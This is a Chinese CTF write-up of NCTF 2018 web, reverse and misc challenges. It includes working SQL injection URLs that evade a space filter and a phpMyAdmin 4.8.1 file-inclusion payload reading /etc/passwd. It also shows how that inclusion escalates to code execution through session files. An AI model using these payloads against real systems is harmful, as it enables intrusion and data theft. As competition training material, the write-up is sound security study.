NCTF 2018部分Writeup

栏目: JavaScript · 发布时间: 5年前

内容简介:有点坑,没想到是直接访问主域名,前期重点分析了secret.php 这个文件了,绕了弯路。

NCTF 2018部分Writeup 这次校赛收获了很多,题目质量感觉很高,在没有二进制手的情况下,我们打了校外队伍第9名,对于一向很菜鸡的我感觉很满意了,已经使出洪荒之力了。希望自己进步速度更快一点吧,否则要被自己的学弟们超过会很尴尬的鸭!

Web

签到题

有点坑,没想到是直接访问主域名,前期重点分析了secret.php 这个文件了,绕了弯路。

NCTF 2018部分Writeup

滴!晨跑打卡

考察 MySQL 手工注入,这里过滤了 空格 ,替换为 %a0 即可绕过注入

NCTF 2018部分Writeup

数据库名:flaaaaaaag

表名:f144444444g

列名:th1s_1s_flag

http://ctfgame.acdxvfsvd.net:20001/?id=1'%a0union%a0select%a0user(),(SELECT%a0GROUP_CONCAT(th1s_1s_flag%a0SEPARATOR%a00x3c62723e)%a0FROM%a0flaaaaaaag.f144444444g),3||'1

NCTF 2018部分Writeup

Go Lakers

这个跳转有点诡异,BP转包看返回包,一直往下面翻! 这里有点坑,之前没有往下翻的时候还以为没有返回包信息呢 =.= ,看到如下提示:

<!DOCTYPE html>
<html>
<head>
 <title>嘻嘻嘻</title>
</head>
<body>
<h3>题目在哪呢</h3>
</body>
</html>>
<!-- post me viewsource -->

POST提交viewsource变量可以看到源代码信息:

<?php 
error_reporting(0); 
include 'getip.php'; 
ini_set('open_basedir','.'); 
if(isset($_POST['viewsource'])){ 
    highlight_file(__FILE__); 
    die(); 
} 

mt_srand(mktime()+$seed); 

function de_code($value){ 
    $value = base64_decode($value); 
    $result = ''; 
    for($i=0;$i<strlen($value);$i++){ 
        $result .= chr(ord($value[$i])-$i*2); 
    } 
    return $result; 
} 

if(!(getip() === '127.0.0.1' && file_get_contents($_GET['9527']) === 'nctf_is_good' && mt_rand(1,10000) === intval($_GET['go_Lakers']))){ 
    header('location:http://www.baidu.com'); 
}else{ 
    echo 'great'; 
} 

echo file_get_contents(de_code($_GET['file_'])); 

?>

27行的 file_get_contents(de_code($_GET['file_'])); ,找到函数,写个 php 函数

function en_code($value){ 
    $result = ''; 
    for($i=0;$i<strlen($value);$i++){ 
        $result .= chr(ord($value[$i])+$i*2); 
    } 
    $result = base64_encode($result); 
    return $result; 
}

flag.php 加密,传入得到flag

NCTF 2018部分Writeup

全球最大交友网站

看到题目title后,首先想到gayhub了,打开题目后是一个css3时钟demo,度娘了一下相同源码然后diff一下线上的没有差异。于是想到应该是git泄露吧。

https://github.com/lijiejie/GitHack 利用脚本获取到 http://ctfgame.acdxvfsvd.net:20003/ 下README.MD:内容为“Allsource files areingit tag1.0”,字母意思内容在tag1.0版本中。

遂查找到p师傅文章,考察Git相关姿势

https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html

利用p师傅的 https://github.com/phith0n/XDCTF2015/blob/master/gitcommit.py 获取到readme.txt中的flag提交失败,竟然还有假flag这一出??!!

于是再使用了 https://github.com/denny0223/scrabble 脚本获取到了 .git 文件,

git log查看历史

NCTF 2018部分Writeup

有过三次commit,当前head指向hint这次commit,

git show HEAD 6b21737

NCTF 2018部分Writeup

没有结果,在show上一次hello的commit修改内容:

NCTF 2018部分Writeup

得 flag{git_is_very_good} ,哼,还有假flag

小绿草之最强大脑

NCTF 2018部分Writeup

查看源码,看到源码泄露的hint,访问index.php.bak下载拿到源码:

<?php
if(isset($_SESSION['ans']) && isset($_POST['ans'])){
 if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
  session_destroy();
  echo '
  <script language="javascript">  
  alert("怎么没算对呢?");  
  window.history.back(-1);  </script>';
 }
 else{
  if(intval(time())-$_SESSION['time']<1){
   session_destroy();
   echo '
   <script language="javascript">  
   alert("你手速太快啦,服务器承受不住!!!");  
   window.history.back(-1); </script> ';
  }
  if(intval(time())-$_SESSION['time']>2){
   session_destroy();
   echo '
   <script language="javascript">  
   alert("你算的太慢了少年!");  
   window.history.back(-1); </script> ';
  }
  echo '
  <script language="javascript">  
  alert("tql,算对了!!");  
      </script> ';
  $_SESSION['count']++;
 }
}
?>

从这个原码泄露得到以下关键信息:

intval

intval是防止程序溢出的,我们输入的大于21位的数字经过PHP处理的值一定发生了变化

我们输入的 4200000000000000000000 经过PHP的intval函数处理的结果为:

<?php echo intval('4200000000000000000000');?>
32位系统:2147483647 64位系统:9223372036854775807

题目的操作系统是64位的,所以我们输入的这个值经过php防止溢出处理后的实际值为 9223372036854775807

这里比较核心,因为之前没有考虑到这个导致一直计算失败,知道这个的话开始写 Python 脚本来提取网页中的公式,然后将计算的结果post提交给服务器:

# author: www.sqlsec.com
import requests
import re
import time
s = requests.Session()  # 因为要连续计算,用来保存当前会话的持续有效性
url = "http://ctfgame.acdxvfsvd.net:20004/"
number ="4200000000000000000000"  #输入的数字
r = s.get(url)
math = ''
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0',
}
while(1):
    num_pattern =re.compile(r'<div style="display:inline;">(.*?)</div>')
    num = num_pattern.findall(r.text)   #正则提取公式
    gg = "9223372036854775807"+'+'+math.join(num)[0:-1]  #拼接真实的公式
    print(gg)
    ans = eval(gg)   #利用eval直接来计算结果

    print(ans)
    data = "input={number}&ans={ans}%".format(number=number,ans=ans)

    r =s.post(url,headers=headers,data=data)
    time.sleep(1.5   #延时1.5秒
    print(r.text)

NCTF 2018部分Writeup

基本操作

给了一个phpMyAdmin的地址

NCTF 2018部分Writeup

phpMyAdmin的版本信息是:4.8.1 ,联想到近期爆发的phpMyAdmin的任意文件包含漏洞,这个漏洞的利用得登录进去,首先举办方肯定不会给root用户的了,这么高权限要是直接进去的话,那也就太简单了,这些信息不要问我怎么知道的:

NCTF 2018部分Writeup

2333,拿到了这么多提示就去网上找各种组合的弱口令,最后成功使用 guestguest 登录进去了。

这种文件包含漏洞可以直接读取任意文件:

index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

NCTF 2018部分Writeup

然后执行 SQL 语句,这个flag的位置是自己一个个ls去查找的,找到flag的位置,直接构造以下语句来读取:

NCTF 2018部分Writeup

利用好自己的session可以执行任意php语句:

NCTF 2018部分Writeup

本地session默认的位置是:/tmp/sess_+你的phpMyAdmin session值,

index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_choc6nu2qnqdgdeedishaldarvig6sg8

然后包含一下自己的session,这样就将刚刚执行的语句包含了进来,导致任意php命令执行:

NCTF 2018部分Writeup

NCTF 2018 调查问卷

你需要科学上网。直接酸酸乳打开,在一个谷歌调查问卷最下面找到flag,然后感觉提交,这一题当时在外面吃饭,手机操作效率好低呀~~,提交完答案重新认认真真的来写了份问卷,打了很多出题人。

RE

后门

Web狗表示看到二进制的题目都是一脸懵逼的状态,IDA打开查看下程序的结构,关键分析这里:

NCTF 2018部分Writeup

双击跟踪这个函数,发现这里可以直接右键转换为字符串格式,然后可以直接读出flag信息:

NCTF 2018部分Writeup

这里的39是ASCII码,手动转码的答案是:

nctf{Welcome_to_binary's_world}

MISC

Havefun

下载下来是一个zip压缩包,打开需要密码,使用 binwalk 查看下压缩包里面的内容,发现有1-99个gif文件还有一个 wcy_____.txt 文件:

NCTF 2018部分Writeup

想到了zip掩码破解,使用掩码 wcy????? 来跑下压缩包的密码:

NCTF 2018部分Writeup

不一会儿拿到了密码: wcy1sg4y 解压得到99个gif文件:

NCTF 2018部分Writeup

Gif文件的话使用 identify 命令去拆解 Gif,Gif有8帧,8这个数字要敏感,二进制信息就是8个一组的,而且部分Gif的每一帧存在规律:

identify -format "%T \n" filename

NCTF 2018部分Writeup

经过测试按顺序提取出所有特殊的Gif信息:

identify -format "%s %T \n" *

20 & 10 分别代表 1 & 0 使用编辑器来进行批量替换,保存为 txt 文件:

NCTF 2018部分Writeup

写一个脚本来进行转换,二进制先转换为 10 进制,10 进制转换为 ascii 码,asscii 转换为相应的字符串。

# coding:utf-8
# blog:www.sqlsec,com
import re
def file():
  text = raw_input("pleast enter your file path:")
  with open(text,'r') as f:
      binfile = (f.read()).replace("\n","")
      bindata = re.findall(r'.{8}',binfile)
      for i in bindata:
          ascii = int(i,2)
          print(chr(ascii))
file()

NCTF 2018部分Writeup


以上所述就是小编给大家介绍的《NCTF 2018部分Writeup》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Design Accessible Web Sites

Design Accessible Web Sites

Jeremy Sydik / Pragmatic Bookshelf / 2007-11-05 / USD 34.95

It's not a one-browser web anymore. You need to reach audiences that use cell phones, PDAs, game consoles, or other "alternative" browsers, as well as users with disabilities. Legal requirements for a......一起来看看 《Design Accessible Web Sites》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具